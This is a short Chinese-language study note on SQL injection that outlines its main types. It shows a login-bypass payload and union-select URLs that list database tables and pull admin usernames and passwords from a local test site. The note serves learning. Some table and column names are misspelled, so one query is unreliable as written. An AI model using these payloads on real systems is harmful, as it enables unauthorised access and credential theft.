什么是SQL注入?
当客户端提交的数据未作处理或者转义直接带入数据库就造成数SQL注入
SQL注入有哪些注入方式?
1. 布尔注入(返回真或假)
2. 联合注入(两个表一起查询)
3. 延时注入(定时器查询)
4. 报错注入(报错 但是信息是我们想要的)
个人理解总结:
注入实际分为两大类
(1)整型(没有单双引号)
(2)字符串(有单双引号)
还有我们经常熟悉的Cookie注入、Post注入、headler注入、等这些,其实就是换个表达一样,都是可以分为这两大类,只是获取的值方式不一样。
1. 布尔注入:
就登录而言,一般正常情况下我们输入用户名和密码,输入正确的可成功登录到系统,输入错误则登录失败
--user/pass -> admin:123456
select username, password from admin where username='admin' and password='123456' -- success
select username, password from admin where username='admin' and password='123' -- failed
我们换种方式,在用户名里这样构造查询 (1' or 2>1 -- )--- 单引号闭合了SQL查询语句 ---
select username,password from admin where username='1' or 2>1 --' and password='111'
--或者2>1也可以直接改为true
select username,password from admin where username='1' or true --' and password='111'
--结果
-+------------+------------+
username password
admin 123456
-+------------+------------+
2. 联合注入
2.1 需要获取字段的总数
order by *
group by *
进行连接查询
union select
2.2 获取数据库
Database()
2.3 获取数据库中的表
http://127.0.0.1/sqlzhur/admin/list.php?act=update&id=2 and 1=2 union select 1,2 ,TANLE_NAME from infomation_schema.TABLES where TABLE_SCHEMA='sqlzhur' limit 2,1
2.4 获取数据库里面的表的字段
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin';
2.5 获取内容
http://127.0.0.1/sqlzhur/admin/list.php?act=update&id=2 and 1=2 union select 1,username,password from admin
以上是关于sql注入的学习经验总结,后续在更
goodlucky!